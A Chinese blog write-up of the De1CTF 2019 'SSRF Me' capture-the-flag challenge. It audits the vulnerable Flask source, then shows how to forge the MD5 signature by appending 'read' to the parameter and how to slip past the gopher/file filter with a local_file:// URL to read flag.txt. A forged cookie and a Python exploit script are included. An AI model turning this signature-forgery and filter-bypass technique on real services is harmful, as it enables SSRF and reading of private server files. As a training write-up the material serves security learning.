[De1CTF 2019]SSRF Me

[De1CTF 2019]SSRF Me

[De1CTF 2019]SSRF Me - My_Dreams - 博客园 (cnblogs.com)

一道审计代码的题,感觉还挺有意思的
题目底下还给了个提示:flag is in ./flag.txt
image-20240806142940496
先将代码格式化

#!/usr/bin/env python
# encoding=utf-8

from flask import Flask, request
import socket
import hashlib
import urllib
import sys
import os
import json

# The following line is not needed in Python 3 as it sets default encoding to UTF-8.
# If you need to set the default encoding, do it at the start of your script before any other imports.
# reload(sys)
# sys.setdefaultencoding('latin1')

app = Flask(__name__)
secret_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = hashlib.md5(ip.encode()).hexdigest()
        if not os.path.exists(self.sandbox):
            # Sandbox for Remote Addr
            os.mkdir(self.sandbox)

    def exec_task(self):
        result = {}
        result['code'] = 500
        if self.check_sign():
            if "scan" in self.action:
                with open(f"./{self.sandbox}/result.txt", 'w') as tmpfile:
                    resp = scan(self.param)
                    if resp == "Connection Timeout":
                        result['data'] = resp
                    else:
                        print(resp)
                        tmpfile.write(resp)
                        tmpfile.close()
                result['code'] = 200
            elif "read" in self.action:
                with open(f"./{self.sandbox}/result.txt", 'r') as f:
                    result['code'] = 200
                    result['data'] = f.read()
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"

        if result['code'] == 500 and 'msg' not in result:
            result['data'] = "Action Error"

        return result

    def check_sign(self):
        if get_sign(self.action, self.param) == self.sign:
            return True
        else:
            return False


@app.route("/geneSign", methods=['GET', 'POST'])
def gene_sign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return get_sign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr

    if waf(param):
        return "No Hacker!!!!"

    task = Task(action, param, sign, ip)
    return json.dumps(task.exec_task())


@app.route('/')
def index():
    return open("code.txt", "r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"


def get_sign(action, param):
    return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()


def md5(content):
    return hashlib.md5(content.encode()).hexdigest()


def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80)

这道题主要是个代码审计,这个python代码由flask框架组成

有三个路由

主要是需要我们一步步的分析,先查看一下路由/De1ta因为这个路由里面包含的东西比较多

def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr

    if waf(param):
        return "No Hacker!!!!"

    task = Task(action, param, sign, ip)
    return json.dumps(task.exec_task())

先定义一个challenge的函数

get的方式传入param,在cookie里面传递actionsign

但是我们传入的param需要进行一个waf函数的判断,看看waf函数

def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False

应该就是说如果里面包含了gopherfile就返回True,那么就会返回"No Hacker!!!!"

所以我们不能用协议来进行读取

继续看challenge函数,将这些参数传给了Task类,并且返回了类中的exec_task()方法

 def exec_task(self):
        result = {}
        result['code'] = 500
        if self.check_sign():
            if "scan" in self.action:
                with open(f"./{self.sandbox}/result.txt", 'w') as tmpfile:
                    resp = scan(self.param)
                    if resp == "Connection Timeout":
                        result['data'] = resp
                    else:
                        print(resp)
                        tmpfile.write(resp)
                        tmpfile.close()
                result['code'] = 200
            elif "read" in self.action:
                with open(f"./{self.sandbox}/result.txt", 'r') as f:
                    result['code'] = 200
                    result['data'] = f.read()
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"

        if result['code'] == 500 and 'msg' not in result:
            result['data'] = "Action Error"

        return result

第一个if对check_sign()函数进行了调用

def check_sign(self):
        if get_sign(self.action, self.param) == self.sign:
            return True
        else:
            return False

actionparam经过了get_sign()函数的调用后与sign相等,则返回True

看看get_sign函数

def get_sign(action, param):
    return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()

就是将三个东西secret_key,param,action进行了md5加密后,与hexdigest()进行了一个拼接

然后我们发现路由/geneSign也与get_sign有关,最后返回调用了get_sign,我们可以再看看这个路由

@app.route("/geneSign", methods=['GET', 'POST'])
def gene_sign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return get_sign(action, param)

这个路由可以生成我们需要的md5

回到exec_task()函数

发现后面两个判读语句

if "scan" in self.action:
elif "read" in self.action:

就是说action里面需要包含scanread才能得到我们的flag.txt

整道题就清晰了一点

就是我们要经过路由GET传参param,在Cookie里面添加actionsign

action里面要包含scanreadsign要和actionparam经过了get_sign()函数的调用后的值相等

试着传入/geneSign?param=flag.txt得到了一个md5加密值,其中包含了action=scan,现在我们需要让action=read

image-20240806141032597

getSign

return hashlib.md5(secret_key + param.encode() + action.encode()).hexdigest()

假设secret_keyxxxparamflag.txtactionscan

返回的 md5 就是 md5('xxx' + 'flag.txt' + 'scan') ,在 python 里面上述表达式就相当于md5(xxxflag.txtscan)

如果我们构造/geneSign?param=flag.txtread,那么我们拿到的 md5 就是 md5('xxx' + 'flag.txtread' + 'scan') ,等价于 md5('xxxflag.txtreadscan')

这就拿到了我们的sign

image-20240806141000930

645c5520198a79f1b90da8cff9f1276a

然后访问/De1ta?param=flag.txt

最后添加Cookie

Cookie:action=scanread;sign=645c5520198a79f1b90da8cff9f1276a

image-20240806141901209

用大佬的脚本:(但是我觉得上面的要好理解一点)

De1CTF 2019 天枢 WriteUp - 先知社区 (aliyun.com)

import requests
conn = requests.Session()

url = "http://d3575789-ee18-4a61-a365-45ccc046d777.node5.buuoj.cn:81/"
def geneSign(param):
    data = {
        "param": param
    }
    resp = conn.get(url+"/geneSign",params=data).text
    print (resp)
    return resp

def challenge(action,param,sign):
    cookie={
        "action":action,
        "sign":sign
    }
    params={
        "param":param
    }
    resp = conn.get(url+"/De1ta",params=params,cookies=cookie)
    return resp.text
filename = "local_file:///app/flag.txt"
a = []
for i in range(1):
    sign = geneSign("{}read".format(filename.format(i)))
    resp = challenge("readscan",filename.format(i),sign)
    if("title" in resp):
        a.append(i)
    print (resp,i)
print (a)
  • 6
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值